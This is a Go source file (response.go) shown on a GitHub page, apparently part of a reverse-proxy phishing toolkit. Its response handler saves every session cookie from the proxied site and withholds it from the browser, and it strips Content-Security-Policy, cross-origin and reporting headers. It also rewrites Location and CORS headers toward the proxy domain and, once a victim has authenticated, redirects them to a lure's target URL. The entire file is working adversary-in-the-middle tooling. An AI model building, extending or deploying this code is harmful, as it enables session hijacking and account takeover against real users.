-
Notifications
You must be signed in to change notification settings - Fork 8
/
response.go
161 lines (144 loc) · 4.55 KB
/
response.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
package main
import (
"io"
"net/http"
"strings"
"github.com/gofiber/fiber/v2"
"github.com/rs/zerolog"
)
const HeaderTargetURL = "X-Target-Url"
type AuthService interface {
IsAuthenticated(c *fiber.Ctx) bool
}
type ResponseProcessor interface {
Process(c *fiber.Ctx, resp *http.Response)
}
func NewResponseProcessor(log *zerolog.Logger, conv DomainConverter, urlProc, htmlProc RegexProcessor,
cookieSaver CookieSaver, authService AuthService, lureService LureService) ResponseProcessor {
return &responseProcessor{log, conv, urlProc, htmlProc, cookieSaver, authService, lureService}
}
type responseProcessor struct {
log *zerolog.Logger
conv DomainConverter
urlProc RegexProcessor
htmlProc RegexProcessor
cookieSaver CookieSaver
authService AuthService
lureService LureService
}
func (p *responseProcessor) Process(c *fiber.Ctx, resp *http.Response) {
p.writeCookies(c, resp)
if p.targetRedirect(c, resp) {
return
}
p.convertCORS(resp)
p.removePolicyHeaders(resp)
p.convertLocation(resp)
p.writeHeaders(c, resp)
p.writeBody(c, resp)
c.Status(resp.StatusCode)
}
//nolint:errcheck
func (p *responseProcessor) targetRedirect(c *fiber.Ctx, resp *http.Response) bool {
if !p.authService.IsAuthenticated(c) {
return false
}
sess := getProxySession(c)
if sess == nil {
return false
}
lure, err := p.lureService.GetByURL(sess.LureURL())
if err != nil {
p.log.Error().Err(err).Msg("lureService error")
return false
}
if lure == nil {
return false
}
contentType := p.getContentType(resp)
if strings.Contains(contentType, "text/html") {
if err := c.Status(fiber.StatusFound).Redirect(lure.TargetURL); err != nil {
p.log.Error().Err(err).Str("lureURL", lure.LureURL).Msg("failed to redirect to targetURL")
}
return true
}
resp.Header[HeaderTargetURL] = []string{lure.TargetURL}
return false
}
func (p *responseProcessor) convertCORS(resp *http.Response) {
originHeader := resp.Request.Header["Origin"]
if len(originHeader) > 0 {
proxyOrigin := p.conv.ToProxyURL(originHeader[0])
resp.Header["Access-Control-Allow-Origin"] = []string{proxyOrigin}
resp.Header["Access-Control-Allow-Credentials"] = []string{"true"}
exposeHeaders := resp.Header["Access-Control-Expose-Headers"]
if len(exposeHeaders) == 0 {
resp.Header["Access-Control-Expose-Headers"] = []string{HeaderTargetURL}
} else if exposeHeaders[0] != "*" {
exposeHeaders = append(exposeHeaders, HeaderTargetURL)
resp.Header["Access-Control-Expose-Headers"] = []string{strings.Join(exposeHeaders, ",")}
}
}
}
func (*responseProcessor) removePolicyHeaders(resp *http.Response) {
resp.Header.Del("Content-Security-Policy")
resp.Header.Del("Content-Security-Policy-Report-Only")
resp.Header.Del("Cross-Origin-Opener-Policy")
resp.Header.Del("Cross-Origin-Opener-Policy-Report-Only")
resp.Header.Del("Cross-Origin-Embedder-Policy")
resp.Header.Del("Cross-Origin-Embedder-Policy-Report-Only")
resp.Header.Del("Report-To")
}
func (p *responseProcessor) convertLocation(resp *http.Response) {
p.convertHeaderDomain(resp, "Location")
p.convertHeaderDomain(resp, "Content-Location")
}
func (p *responseProcessor) convertHeaderDomain(resp *http.Response, headerName string) {
value := resp.Header[headerName]
if len(value) == 0 {
return
}
resp.Header[headerName] = []string{p.conv.ToProxyURL(value[0])}
}
func (p *responseProcessor) writeCookies(c *fiber.Ctx, resp *http.Response) {
if resp.Request.Method == http.MethodOptions {
return
}
cookies := resp.Cookies()
if p.log.GetLevel() <= zerolog.DebugLevel {
for _, cookie := range cookies {
p.log.Debug().Stringer("cookie", cookie).Stringer("requestURL", resp.Request.URL).Msg("set cookie")
}
}
if err := p.cookieSaver.SaveCookies(c, resp.Request.URL, cookies); err != nil {
p.log.Error().Err(err).Msg("saveCookies error")
}
resp.Header.Del("Set-Cookie")
}
func (*responseProcessor) writeHeaders(c *fiber.Ctx, resp *http.Response) {
for header, values := range resp.Header {
for _, v := range values {
c.Response().Header.Add(header, v)
}
}
}
//nolint:errcheck
func (p *responseProcessor) writeBody(w io.Writer, resp *http.Response) {
contentType := p.getContentType(resp)
if strings.Contains(contentType, "text/html") {
p.htmlProc.ProcessAll(w, resp.Body)
return
}
if processContentTypeRegexp.MatchString(contentType) {
p.urlProc.ProcessAll(w, resp.Body)
} else {
io.Copy(w, resp.Body)
}
}
func (*responseProcessor) getContentType(resp *http.Response) string {
contentType := resp.Header["Content-Type"]
if len(contentType) > 0 {
return strings.ToLower(contentType[0])
}
return ""
}